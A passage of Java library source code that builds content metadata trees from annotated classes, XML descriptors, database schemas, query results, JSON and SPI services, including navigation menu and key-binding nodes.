return result;
}
}
}
}
public static ContentMetadataInterface forOrdinalClass(final Class<?> clazz) throws NullPointerException, IllegalArgumentException, LocalizationException, ContentException {
if (clazz == null) {
throw new NullPointerException("Clazz to build model for can't be null");
}
else {
final URI localizerResource = PureLibLocalizer.LOCALIZER_SCHEME_URI;
final List<Field> fields = new ArrayList<>();
final MutableContentNodeMetadata root = new MutableContentNodeMetadata("class"
, clazz
, clazz.getCanonicalName()
, localizerResource
, clazz.getSimpleName()
, null
, null
, null
, ModelUtils.buildUriByClass(clazz)
, null);
collectFields(clazz,fields,false);
if (fields.size() == 0) {
throw new IllegalArgumentException("Class ["+clazz+"] doesn't contain any fields annotated with @LocaleResource or @Format");
}
else {
for (Field f : fields) {
final Class<?> type = f.getType();
final LocaleResource fieldLocaleResource = f.getAnnotation(LocaleResource.class);
final MutableContentNodeMetadata metadata = new MutableContentNodeMetadata(f.getName()
, type
, f.getName()+"/"+type.getCanonicalName()
, null
, fieldLocaleResource == null ? f.getName() : fieldLocaleResource.value()
, fieldLocaleResource == null ? null : fieldLocaleResource.tooltip()
, fieldLocaleResource == null ? null : fieldLocaleResource.help()
, f.isAnnotationPresent(Format.class)
? new FieldFormat(type, f.getAnnotation(Format.class).value(), f.getAnnotation(Format.class).wizardType())
: null
, buildClassFieldApplicationURI(clazz,f)
, null
);
root.addChild(metadata);
metadata.setParent(root);
}
final SimpleContentMetadata result = new SimpleContentMetadata(root);
root.setOwner(result);
return result;
}
}
}
/**
* Build model by XML description.</p>
* @param contentDescription XML-based model descriptor. Can't be null
* @return metadata parsed. Can't be null.
* @throws NullPointerException on any parameter is null
* @throws EnvironmentException on invalid XML
* @see XSDCollection.XMLDescribedApplication
* @since 0.0.4
*/
public static ContentMetadataInterface forXmlDescription(final InputStream contentDescription) throws NullPointerException, EnvironmentException {
return forXmlDescription(contentDescription, XSDCollection.XMLDescribedApplication);
}
/**
* Build model by XML description.</p>
* @param contentDescription XML-based model descriptor. Can't be null
* @param contentType content type to parse. Can't be null
* @return metadata parsed. Can't be null.
* @throws NullPointerException on any parameter is null
* @throws EnvironmentException on invalid XML
* @see XSDCollection.XMLDescribedApplication
* @since 0.0.4
*/
public static ContentMetadataInterface forXmlDescription(final InputStream contentDescription, final XSDCollection contentType) throws NullPointerException, EnvironmentException {
if (contentDescription == null) {
throw new NullPointerException("Content description can't be null");
}
else {
final DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
final XPathFactory xPathfactory = XPathFactory.newInstance();
final XPath xpath = xPathfactory.newXPath();
final NamespaceContext nsc = new NamespaceContext() {
@Override
public Iterator<String> getPrefixes(final String namespaceURI) {
return null;
}
@Override
public String getPrefix(final String namespaceURI) {
return null;
}
@Override
public String getNamespaceURI(final String prefix) {
if (prefix.equals(NAMESPACE_PREFIX)) {
return NAMESPACE_VALUE;
}
else {
return null;
}
}
};
xpath.setNamespaceContext(nsc);
dbFactory.setNamespaceAware(true);
dbFactory.setValidating(true);
dbFactory.setAttribute(XSDConst.SCHEMA_LANGUAGE, XMLConstants.W3C_XML_SCHEMA_NS_URI);
dbFactory.setAttribute(XSDConst.SCHEMA_SOURCE, XSDConst.getResource("XMLDescribedApplication.xsd").toString());
try{final DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
final Document doc = dBuilder.parse(contentDescription);
final Element docRoot = doc.getDocumentElement();
docRoot.normalize();
final String localizerResource = (String)xpath.compile("//"+XML_TAG_APP_I18N+"/@location").evaluate(doc,XPathConstants.STRING);
final String titleResource = (String)xpath.compile("//"+XML_TAG_APP_TITLE+"/@title").evaluate(doc,XPathConstants.STRING);
final String tooltipResource = (String)xpath.compile("//"+XML_TAG_APP_TITLE+"/@tooltip").evaluate(doc,XPathConstants.STRING);
final String helpResource = (String)xpath.compile("//"+XML_TAG_APP_TITLE+"/@help").evaluate(doc,XPathConstants.STRING);
final SimpleContentMetadata result;
switch (doc.getDocumentElement().getTagName()) {
case "app:root" :
final MutableContentNodeMetadata rootApp = new MutableContentNodeMetadata("root"
, Document.class
, "model"
, URI.create(localizerResource)
, titleResource == null || titleResource.isEmpty() ? "root" : titleResource
, tooltipResource
, helpResource
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":/")
, null);
buildSubtree(doc.getDocumentElement(),rootApp);
result = new SimpleContentMetadata(rootApp);
rootApp.setOwner(result);
break;
case "app:class" :
final String clazzName = getAttribute(docRoot,XML_ATTR_TYPE);
final String clazzLabel = getAttribute(docRoot,XML_ATTR_LABEL);
final String clazzTooltip = getAttribute(docRoot,XML_ATTR_TOOLTIP);
final String clazzHelp = getAttribute(docRoot,XML_ATTR_HELP);
try{final Class<?> clazz = Class.forName(clazzName);
final MutableContentNodeMetadata rootClass = new MutableContentNodeMetadata("class"
, clazz
, clazz.getCanonicalName()
, URI.create(localizerResource)
, clazzLabel
, clazzTooltip
, clazzHelp
, null
, ModelUtils.buildUriByClass(clazz)
, null);
appendFields(docRoot,clazz,rootClass);
appendMethods(docRoot,clazz,rootClass);
result = new SimpleContentMetadata(rootClass);
rootClass.setOwner(result);
break;
} catch (ClassNotFoundException e) {
throw new EnvironmentException("Error preparing xml metadata: class ["+clazzName+"] mentioned in the XML descriptor is unknown in this JVM environment",e);
}
default :
throw new UnsupportedOperationException("Root tag ["+doc.getDocumentElement().getTagName()+"] is not supported yet");
}
return result;
} catch (ParserConfigurationException | SAXException | IOException | XPathExpressionException e) {
throw new EnvironmentException("Error preparing xml metadata: "+e.getLocalizedMessage(),e);
}
}
}
/**
* <p>Build model by database metadata.</p>
* @param dbDescription database decription. Can't be null
* @param catalog database catalog or null
* @param schema database schema. Can't be null
* @return metadata built. Can't be null.
* @throws NullPointerException on any parameter is null
* @throws ContentException on any content errors
* @see DatabaseMetaData
* @since 0.0.4
*/
public static ContentMetadataInterface forDBContentDescription(final DatabaseMetaData dbDescription, final String catalog, final String schema) throws NullPointerException, ContentException {
if (dbDescription == null) {
throw new NullPointerException("Database description can't be null");
}
else if (schema == null || schema.isEmpty()) {
throw new IllegalArgumentException("Schema name can't be null or empty");
}
else if (schema.contains("_") || schema.contains("%")) {
throw new UnsupportedOperationException("Wildcards in the schema name are not supported yet");
}
else {
try(final ResultSet rss = dbDescription.getSchemas(catalog, schema)) {
if (!rss.next()) {
return null;
}
} catch (SQLException e) {
throw new ContentException(e.getLocalizedMessage());
}
try(final ResultSet rs = dbDescription.getTables(catalog, schema, "%", new String[]{"TABLE", "VIEW"})) {
final MutableContentNodeMetadata root = new MutableContentNodeMetadata(schema
, SchemaContainer.class
, schema
, null
, schema
, schema+".tt"
, schema+".help"
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_SCHEMA+":/"+schema)
, null);
while (rs.next()) {
root.addChild(forDBContentDescription(dbDescription, catalog, schema, rs.getString("TABLE_NAME")).getRoot());
}
final SimpleContentMetadata result = new SimpleContentMetadata(root);
root.setOwner(result);
return result;
} catch (SQLException e) {
throw new ContentException(e.getLocalizedMessage());
}
}
}
/**
* <p>Build model by database table metadata.</p>
* @param dbDescription database decription. Can't be null
* @param catalog database catalog or null
* @param schema database schema. Can't be null
* @param table database table. Can't be null
* @return metadata built. Can't be null.
* @throws NullPointerException on any parameter is null
* @throws ContentException on any content errors
* @see DatabaseMetaData
* @since 0.0.4
*/
public static ContentMetadataInterface forDBContentDescription(final DatabaseMetaData dbDescription, final String catalog, final String schema, final String table) throws NullPointerException, PreparationException, ContentException {
if (dbDescription == null) {
throw new NullPointerException("Database description can't be null");
}
else if (schema == null || schema.isEmpty()) {
throw new IllegalArgumentException("Schema name can't be null or empty");
}
else if (schema.contains("_") || schema.contains("%")) {
throw new UnsupportedOperationException("Wildcards in the schema name are not supported yet");
}
else if (table == null || table.isEmpty()) {
throw new IllegalArgumentException("Table name can't be null or empty");
}
else if (table.contains("%")) {
throw new UnsupportedOperationException("Wildcards in the table name are not supported yet");
}
else {
final String schemaAndTable = schema+"."+table;
try(final ResultSet rs = dbDescription.getTables(catalog, schema, table, new String[] {"TABLE"})) {
if (!rs.next()) {
throw new ContentException("Table ["+schema+'.'+table+"] is missing in the database");
}
} catch (SQLException e) {
throw new ContentException("Table ["+schema+'.'+table+"]: "+e.getLocalizedMessage(), e);
}
final MutableContentNodeMetadata root = new MutableContentNodeMetadata(table
, TableContainer.class
, schemaAndTable
, null
, schemaAndTable
, schemaAndTable+".tt"
, schemaAndTable+".help"
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_TABLE+":/"+schemaAndTable)
, null);
final Map<String,Class<?>> fieldTypes = new HashMap<>();
final Map<String,Integer> primaryKeys = new HashMap<>();
try(final ResultSet rs = dbDescription.getPrimaryKeys(catalog, schema, table)) {
while (rs.next()) {
primaryKeys.put(rs.getString("COLUMN_NAME"),rs.getInt("KEY_SEQ"));
}
} catch (SQLException e) {
throw new ContentException(e.getLocalizedMessage());
}
boolean found = false;
try(final ResultSet rs = dbDescription.getColumns(catalog, schema, table, "%")) {
while (rs.next()) {
final Class<?> type = SQLUtils.classByTypeId(rs.getInt("DATA_TYPE"));
final String fieldName = rs.getString("COLUMN_NAME");
final String label = schemaAndTable+"."+fieldName;
String appUri = ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_COLUMN+":/"+schemaAndTable+"/"+fieldName
+"?seq="+rs.getString("ORDINAL_POSITION")+"&type="+rs.getString("DATA_TYPE");
if (primaryKeys.containsKey(fieldName)) {
appUri += "&pkSeq="+primaryKeys.get(fieldName);
}
final MutableContentNodeMetadata metadata = new MutableContentNodeMetadata(fieldName
, type
, fieldName
, null
, rs.getString("REMARKS") == null ? label : rs.getString("REMARKS")
, rs.getString("REMARKS") == null ? label+".tt" : rs.getString("REMARKS")+".tt"
, rs.getString("REMARKS") == null ? label+".help" : rs.getString("REMARKS")+".help"
, new FieldFormat(type, buildColumnFormat(rs))
, URI.create(appUri)
, null
);
root.addChild(metadata);
metadata.setParent(root);
fieldTypes.put(fieldName,type);
found = true;
}
} catch (SQLException e) {
throw new ContentException(e.getLocalizedMessage());
}
if (!found) {
throw new ContentException("Table ["+schema+'.'+table+"] is missing in the database");
}
try(final ResultSet rs = dbDescription.getPrimaryKeys(catalog, schema, table)) {
while (rs.next()) {
final String columnName = rs.getString("COLUMN_NAME");
final Class<?> type = fieldTypes.get(columnName);
final MutableContentNodeMetadata metadata = new MutableContentNodeMetadata(rs.getString("COLUMN_NAME")
, type
, columnName+"/primaryKey"
, null
, schemaAndTable+"."+columnName
, schemaAndTable+"."+columnName+".tt"
, schemaAndTable+"."+columnName+".help"
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_ID+":/"+schemaAndTable+"/"+columnName)
, null
);
root.addChild(metadata);
metadata.setParent(root);
}
} catch (SQLException e) {
throw new ContentException(e.getLocalizedMessage());
}
final SimpleContentMetadata result = new SimpleContentMetadata(root);
root.setOwner(result);
return result;
}
}
/**
* <p>Build model by query content metadata.</p>
* @param rsmd query content metadata. Can't be null
* @return metadata built. Can't be null.
* @throws NullPointerException on any parameter is null
* @throws ContentException on any content errors
* @see ResultSetMetaData
* @since 0.0.4
*/
public static ContentMetadataInterface forQueryContentDescription(final ResultSetMetaData rsmd) throws NullPointerException, ContentException {
if (rsmd == null) {
throw new NullPointerException("Result set description can't be null");
}
else {
String schemaAndTable = "";
try{schemaAndTable = rsmd.getSchemaName(1)+"."+rsmd.getTableName(1);
final MutableContentNodeMetadata root = new MutableContentNodeMetadata("table"
, TableContainer.class
, schemaAndTable
, null
, schemaAndTable
, schemaAndTable+".tt"
, schemaAndTable+".help"
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_TABLE+":/"+schemaAndTable)
, null);
final Map<String,Class<?>> fieldTypes = new HashMap<>();
boolean found = false;
for (int columnIndex = 1; columnIndex <= rsmd.getColumnCount(); columnIndex++) {
final Class<?> type = SQLUtils.classByTypeId(rsmd.getColumnType(columnIndex));
final String fieldName = rsmd.getColumnName(columnIndex);
final String description = rsmd.getColumnLabel(columnIndex);
final MutableContentNodeMetadata metadata = new MutableContentNodeMetadata(fieldName
, type
, fieldName
, null
, description == null ? schemaAndTable+"."+fieldName : description
, description == null ? schemaAndTable+"."+fieldName+".tt" : description+".tt"
, description == null ? schemaAndTable+"."+fieldName+".help" : description+".help"
, new FieldFormat(type, buildColumnFormat(rsmd,columnIndex))
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_COLUMN+":/"+schemaAndTable+"/"+fieldName
+"?seq="+columnIndex+"&type="+rsmd.getColumnTypeName(columnIndex))
, null
);
root.addChild(metadata);
metadata.setParent(root);
fieldTypes.put(fieldName,type);
found = true;
}
final SimpleContentMetadata result = new SimpleContentMetadata(root);
root.setOwner(result);
return result;
} catch (SQLException e) {
throw new ContentException(e.getLocalizedMessage());
}
}
}
/**
* <p>Build model by JSON description.</p>
* @param contentDescription JSON content. Can't be null
* @return metadata built. Can't be null.
* @throws NullPointerException on any parameter is null
* @throws IOException on any content errors
* @since 0.0.5
*/
public static ContentMetadataInterface forJsonDescription(final Reader contentDescription) throws IOException, NullPointerException {
if (contentDescription == null) {
throw new NullPointerException("Content description reader can't be null");
}
else {
final JsonStaxParser parser = new JsonStaxParser(contentDescription);
parser.next();
final MutableContentNodeMetadata root = ModelUtils.deserializeFromJson(parser);
final SimpleContentMetadata result = new SimpleContentMetadata(root);
root.setOwner(result);
return result;
}
}
public static <T> ContentMetadataInterface forSPIServiceTree(final Class<T> spiService) throws NullPointerException, PreparationException, ContentException {
if (spiService == null) {
throw new NullPointerException("SPI service can't be null");
}
else {
// TODO:
final List<T> services = new ArrayList<>();
for (T item : ServiceLoader.load(spiService)) {
services.add(item);
}
if (services.isEmpty()) {
throw new ContentException("No any services for ["+spiService.getCanonicalName()+"] were found");
}
else {
final MutableContentNodeMetadata root = new MutableContentNodeMetadata("root"
, String.class
, Constants.MODEL_NAVIGATION_TOP_PREFIX+".root"
, null
, "root"
, null
, null
, null
, null
, null);
for (T item : services) {
try{final ContentMetadataInterface mdi = forAnnotatedClass(item.getClass());
final ContentNodeMetadata metadata = mdi.getRoot();
final MutableContentNodeMetadata child = new MutableContentNodeMetadata(metadata.getName()
, metadata.getType()
, Constants.MODEL_NAVIGATION_LEAF_PREFIX+'.'+metadata.getName()
, null
, metadata.getLabelId()
, metadata.getTooltipId()
, null
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_ACTION+":/"+metadata.getName())
, metadata.getIcon());
final MutableContentNodeMetadata current = (item instanceof SPIServiceNavigationMember)
? (MutableContentNodeMetadata)buildSPIPluginMenuSubtree(root,((SPIServiceNavigationMember)item).getNavigationURI().getPath().toString())
: root;
current.addChild(child);
child.setParent(current);
} catch (Exception exc) {
}
}
final SimpleContentMetadata result = new SimpleContentMetadata(root);
root.setOwner(result);
return result;
}
}
}
static URI buildClassFieldApplicationURI(final Class<?> clazz, final Field f) {
if (Modifier.isPublic(f.getModifiers())) {
return URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_FIELD+":/"+clazz.getName()+"/"+f.getName());
}
else if (Modifier.isProtected(f.getModifiers())) {
return URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_FIELD+":/"+clazz.getName()+"/"+f.getName()+"?visibility=protected");
}
else if (Modifier.isPrivate(f.getModifiers())) {
return URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_FIELD+":/"+clazz.getName()+"/"+f.getName()+"?visibility=private");
}
else {
return URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_FIELD+":/"+clazz.getName()+"/"+f.getName()+"?visibility=package");
}
}
static URI buildClassMethodApplicationURI(final Class<?> clazz, final String action) {
return URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_ACTION+":/"+clazz.getSimpleName()+"."+action);
}
private static void appendFields(final Element root, final Class<?> clazz, final MutableContentNodeMetadata rootClass) throws EnvironmentException {
final NodeList list = root.getChildNodes();
for (int index = 0, maxIndex = list.getLength(); index < maxIndex; index++) {
final Node item = list.item(index);
if ("app:field".equals(item.getNodeName())) {
final String fieldName = getAttribute((Element)item,XML_ATTR_NAME);
final String fieldLabel = getAttribute((Element)item,XML_ATTR_LABEL);
final String fieldTooltip = getAttribute((Element)item,XML_ATTR_TOOLTIP);
final String fieldHelp = getAttribute((Element)item,XML_ATTR_HELP);
final String fieldFormat = getAttribute((Element)item,XML_ATTR_FORMAT);
final String fieldIcon = getAttribute((Element)item,XML_ATTR_ICON);
try{final Field f = seekField(clazz,fieldName);
final Class<?> type = f.getType();
final MutableContentNodeMetadata metadata = new MutableContentNodeMetadata(f.getName()
, type
, f.getName()+"/"+type.getCanonicalName()
, null
, fieldLabel == null ? "?" : fieldLabel
, fieldTooltip
, fieldHelp
, fieldFormat == null ? null : new FieldFormat(type, fieldFormat)
, buildClassFieldApplicationURI(clazz,f)
, fieldIcon == null ? null : URI.create(fieldIcon)
);
rootClass.addChild(metadata);
metadata.setParent(rootClass);
} catch (NoSuchFieldException exc) {
throw new EnvironmentException("Error preparing xml metadata: class ["+clazz.getCanonicalName()+"] doesn't contain field ["+fieldName+"]");
}
}
}
}
private static Field seekField(final Class<?> clazz, final String fieldName) throws NoSuchFieldException {
if (clazz != null) {
for (Field item : clazz.getDeclaredFields()) {
if (fieldName.equals(item.getName())) {
return item;
}
}
return seekField(clazz.getSuperclass(),fieldName);
}
else {
throw new NoSuchFieldException("Field ["+fieldName+"] is missing in the class");
}
}
private static void appendMethods(final Element root, final Class<?> clazz, final MutableContentNodeMetadata rootClass) throws EnvironmentException {
final NodeList list = root.getChildNodes();
for (int index = 0, maxIndex = list.getLength(); index < maxIndex; index++) {
final Node item = list.item(index);
if ("app:action".equals(item.getNodeName())) {
final String methodName = getAttribute((Element)item,XML_ATTR_NAME);
final String methodAction = getAttribute((Element)item,XML_ATTR_ACTION);
final String methodLabel = getAttribute((Element)item,XML_ATTR_LABEL);
final String methodTooltip = getAttribute((Element)item,XML_ATTR_TOOLTIP);
final String methodHelp = getAttribute((Element)item,XML_ATTR_HELP);
final String methodIcon = getAttribute((Element)item,XML_ATTR_ICON);
try{final Method m = seekMethod(clazz,methodName);
final MutableContentNodeMetadata metadata = new MutableContentNodeMetadata(methodAction
, ActionEvent.class
, m.getName()+"/"+methodAction
, null
, methodLabel == null ? "?" : methodLabel
, methodTooltip
, methodHelp
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_ACTION+":/"+clazz.getSimpleName()+"/"+m.getName()+"()."+methodAction)
, methodIcon == null ? null : URI.create(methodIcon)
);
rootClass.addChild(metadata);
metadata.setParent(rootClass);
} catch (NoSuchMethodException exc) {
throw new EnvironmentException("Error preparing xml metadata: class ["+clazz.getCanonicalName()+"] doesn't contain method ["+methodName+"()]");
}
}
}
}
private static Method seekMethod(final Class<?> clazz, final String methodName) throws NoSuchMethodException {
if (clazz != null) {
for (Method item : clazz.getDeclaredMethods()) {
if (item.getParameterCount() == 0 && methodName.equals(item.getName())) {
return item;
}
}
return seekMethod(clazz.getSuperclass(),methodName);
}
else {
throw new NoSuchMethodException("Method ["+methodName+"()] is missing in the class");
}
}
private static void buildSubtree(final Element document, final MutableContentNodeMetadata node) throws EnvironmentException {
MutableContentNodeMetadata child;
switch (document.getTagName()) {
case XML_TAG_APP_MENU :
final String menuId = getAttribute(document,XML_ATTR_ID);
final String keySet = getAttribute(document,XML_ATTR_KEYSET);
final String menuIcon = getAttribute(document,XML_ATTR_ICON);
child = new MutableContentNodeMetadata(menuId
, String.class
, Constants.MODEL_NAVIGATION_TOP_PREFIX+'.'+menuId+(keySet == null ? "" : "?keyset="+keySet)
, null
, menuId
, null
, null
, null
, null
, menuIcon == null || menuIcon.isEmpty() ? null : URI.create(menuIcon));
break;
case XML_TAG_APP_SUBMENU :
final String submenuName = getAttribute(document,XML_ATTR_NAME);
final String submenuCaption = getAttribute(document,XML_ATTR_CAPTION);
final String submenuTooltip = getAttribute(document,XML_ATTR_TOOLTIP);
final String submenuIcon = getAttribute(document,XML_ATTR_ICON);
child = new MutableContentNodeMetadata(submenuName
, String.class
, Constants.MODEL_NAVIGATION_NODE_PREFIX+'.'+submenuName
, null
, submenuCaption
, submenuTooltip
, null
, null
, null
, submenuIcon == null || submenuIcon.isEmpty() ? null : URI.create(submenuIcon));
break;
case XML_TAG_APP_SUBMENU_REF :
final String submenuRefName = getAttribute(document,XML_ATTR_NAME);
final String submenuRef = getAttribute(document,XML_ATTR_REF);
child = new MutableContentNodeMetadata(submenuRefName
, String.class
, Constants.MODEL_NAVIGATION_NODE_PREFIX+'.'+submenuRefName
, null
, submenuRef
, null
, null
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_REF+":/"+submenuRef)
, null);
break;
case XML_TAG_APP_ITEM :
final String itemName = getAttribute(document,XML_ATTR_NAME);
final String itemCaption = getAttribute(document,XML_ATTR_CAPTION);
final String itemTooltip = getAttribute(document,XML_ATTR_TOOLTIP);
final String itemHelp = getAttribute(document,XML_ATTR_HELP);
final String itemAction = getAttribute(document,XML_ATTR_ACTION);
final String groupAction = getAttribute(document,XML_ATTR_GROUP);
final String checkableAction = getAttribute(document,XML_ATTR_CHECKABLE);
final String checkedAction = getAttribute(document,XML_ATTR_CHECKED);
final String itemIcon = getAttribute(document,XML_ATTR_ICON);
final StringBuilder sb = new StringBuilder();
if (checkableAction != null) {
sb.append("&checkable=").append(checkableAction);
}
if (checkedAction != null) {
sb.append("&checked=").append(checkedAction);
}
final URI uriAction = URIUtils.removeQueryFromURI(URI.create(itemAction));
final String uriQuery = URIUtils.extractQueryFromURI(URI.create(itemAction));
if (uriQuery != null && !uriQuery.isEmpty()) {
sb.append('&').append(uriQuery);
}
child = new MutableContentNodeMetadata(itemName
, String.class
, Constants.MODEL_NAVIGATION_LEAF_PREFIX+'.'+itemName
, null
, itemCaption
, itemTooltip
, itemHelp
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_ACTION+":/"+uriAction.toString()
+ (groupAction != null ? "#"+groupAction : "")
+ (!sb.isEmpty() ? '?'+sb.substring(1) : "")
)
, itemIcon == null || itemIcon.isEmpty() ? null : URI.create(itemIcon));
break;
case XML_TAG_APP_ITEM_REF :
final String itemRefName = getAttribute(document,XML_ATTR_NAME);
final String itemRef = getAttribute(document,XML_ATTR_REF);
child = new MutableContentNodeMetadata(itemRefName
, String.class
, Constants.MODEL_NAVIGATION_LEAF_PREFIX+"."+itemRefName
, null
, itemRef
, null
, null
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_REF+":/"+itemRef)
, null);
break;
case XML_TAG_APP_SEPARATOR :
child = new MutableContentNodeMetadata("_"
, String.class
, Constants.MODEL_NAVIGATION_SEPARATOR
, null
, "_"
, null
, null
, null
, null
, null);
break;
case XML_TAG_APP_PLACEHOLDER :
child = null;
break;
case XML_TAG_APP_BUILTIN_SUBMENU :
final String builtinName = getAttribute(document,XML_ATTR_NAME);
final String builtinCaption = getAttribute(document,XML_ATTR_CAPTION);
final String builtinTooltip = getAttribute(document,XML_ATTR_TOOLTIP);
final String builtinAction = getAttribute(document,XML_ATTR_ACTION);
if (!Constants.MODEL_AVAILABLE_BUILTINS.contains(builtinName)) {
throw new EnvironmentException("Illegal name ["+builtinName+"] for built-in navigation. Available names are "+Constants.MODEL_AVAILABLE_BUILTINS);
}
else {
child = new MutableContentNodeMetadata(builtinName
, String.class
, Constants.MODEL_NAVIGATION_NODE_PREFIX+'.'+builtinName
, null
, builtinCaption
, builtinTooltip
, null
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_ACTION+":"+Constants.MODEL_APPLICATION_SCHEME_BUILTIN_ACTION+":/"
+(builtinAction == null ? builtinName : builtinAction)
)
, null);
}
break;
case XML_TAG_APP_KEYSET :
final String keysetName = getAttribute(document,XML_ATTR_ID);
child = new MutableContentNodeMetadata(keysetName
, String.class
, Constants.MODEL_NAVIGATION_KEYSET_PREFIX+'.'+keysetName
, null
, keysetName
, null
, null
, null
, null
, null);
break;
case XML_TAG_APP_KEY :
final String keyName = getAttribute(document,XML_ATTR_ID);
final String keyAction = getAttribute(document,XML_ATTR_ACTION);
final String keyCode = getAttribute(document,"code");
final String keyCtrl = getAttribute(document,"ctrl");
final String keyShift = getAttribute(document,"shift");
final String keyAlt = getAttribute(document,"alt");
final String keyLabel = (keyCtrl != null || "true".equals(keyCtrl) ? "ctrl " : "")+(keyShift != null || "true".equals(keyShift) ? "shift " : "")+(keyAlt != null || "true".equals(keyAlt) ? "alt " : "") + keyCode;
child = new MutableContentNodeMetadata(keyName == null ? keyLabel : keyName
, String.class
, Constants.MODEL_KEYSET_KEY_PREFIX+'.'+(keyName == null ? keyLabel.replace(' ','_') : keyName)
, null
, keyLabel
, null
, null
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_ACTION+":/"+keyAction)
, null);
break;
case XML_TAG_APP_ROOT : // Top level
for (int index = 0, maxIndex = ((NodeList)document).getLength(); index < maxIndex; index++) {
if (((NodeList)document).item(index) instanceof Element) {
buildSubtree((Element) ((NodeList)document).item(index),node);
}
}
return;
case XML_TAG_APP_I18N : // Was processed at the top
return;
default :
throw new UnsupportedOperationException("Tag ["+document.getTagName()+"] is not supported yet");
}
if (child != null) {
for (int index = 0, maxIndex = ((NodeList)document).getLength(); index < maxIndex; index++) {
if (((NodeList)document).item(index) instanceof Element) {
buildSubtree((Element) ((NodeList)document).item(index),child);
}
}
node.addChild(child);
child.setParent(node);
}
}
private static String getAttribute(final Element document, final String attribute) {
final Attr attr = document.getAttributeNode(attribute);
return attr == null ? null : attr.getValue();
}
private static void collectFields(final Class<?> clazz, final List<Field> fields, final boolean annotatedOnly) {
if (clazz != null) {
for (Field f : clazz.getDeclaredFields()) {
if (!annotatedOnly || f.isAnnotationPresent(LocaleResource.class) || f.isAnnotationPresent(Format.class)) {
fields.add(f);
}
}
collectFields(clazz.getSuperclass(),fields,annotatedOnly);
}
}
private static void collectMethods(final Class<?> clazz, final List<Method> methods, final boolean annotatedOnly) {
if (clazz != null) {
for (Method m : clazz.getDeclaredMethods()) {
if (m.isAnnotationPresent(Action.class)) {
if (m.getParameterCount() != 0) {
throw new IllegalArgumentException("Method ["+m+"] annotated with @Action must not have any parameters");
}
else if (m.getReturnType() != void.class && m.getReturnType() != RefreshMode.class) {
throw new IllegalArgumentException("Method ["+m+"] annotated with @Action must return void or RefreshMode data type");
}
else {
methods.add(m);
}
}
else if (!annotatedOnly) {
methods.add(m);
}
}
collectMethods(clazz.getSuperclass(),methods,annotatedOnly);
}
}
private static void collectActions(final Class<?> clazz, final MutableContentNodeMetadata root) throws IllegalArgumentException, NullPointerException, SyntaxException, LocalizationException, ContentException {
if (clazz != null) {
if (clazz.isAnnotationPresent(MultiAction.class) || clazz.isAnnotationPresent(Action.class)) {
for (Action item : clazz.isAnnotationPresent(MultiAction.class)
? clazz.getAnnotation(MultiAction.class).value()
: new Action[] {clazz.getAnnotation(Action.class)}) {
root.addChild(
new MutableContentNodeMetadata(item.actionString()
, ActionEvent.class
, "./"+clazz.getSimpleName()+"."+item.actionString()
, null
, item.resource().value()
, item.resource().tooltip()
, item.resource().help()
, null
, buildClassMethodApplicationURI(clazz,item.actionString())
, null
)
);
}
}
collectActions(clazz.getSuperclass(),root);
}
}
private static void collectActions(final Class<?> clazz, final Field field, final MutableContentNodeMetadata root) throws IllegalArgumentException, NullPointerException, SyntaxException, LocalizationException, ContentException {
if (field.isAnnotationPresent(MultiAction.class) || field.isAnnotationPresent(Action.class)) {
for (Action item : field.isAnnotationPresent(MultiAction.class)
? field.getAnnotation(MultiAction.class).value()
: new Action[] {field.getAnnotation(Action.class)}) {
root.addChild(
new MutableContentNodeMetadata(item.actionString()
, ActionEvent.class
, "./"+field.getName()+"."+item.actionString()
, null
, item.resource().value()
, item.resource().tooltip()
, item.resource().help()
, null
, buildClassMethodApplicationURI(clazz,field.getName()+"."+item.actionString())
, null
)
);
}
}
}
private static void collectActions(final Class<?> clazz, final Method method, final MutableContentNodeMetadata root) throws IllegalArgumentException, NullPointerException, SyntaxException, LocalizationException, ContentException {
if (method.isAnnotationPresent(MultiAction.class) || method.isAnnotationPresent(Action.class)) {
for (Action item : method.isAnnotationPresent(MultiAction.class)
? method.getAnnotation(MultiAction.class).value()
: new Action[] {method.getAnnotation(Action.class)}) {
root.addChild(
new MutableContentNodeMetadata(item.actionString()
, ActionEvent.class
, "./"+method.getName()+"."+item.actionString()
, null
, item.resource().value()
, item.resource().tooltip()
, item.resource().help()
, null
, URI.create(ContentMetadataInterface.APPLICATION_SCHEME+":"+Constants.MODEL_APPLICATION_SCHEME_ACTION+":/"+clazz.getSimpleName()+"/"+method.getName()+"()."+item.actionString())
, null
)
);
}
}
}
private static String buildColumnFormat(final ResultSet rs) throws SQLException {
final StringBuilder sb = new StringBuilder();
if (rs.getInt("DECIMAL_DIGITS") != 0) {
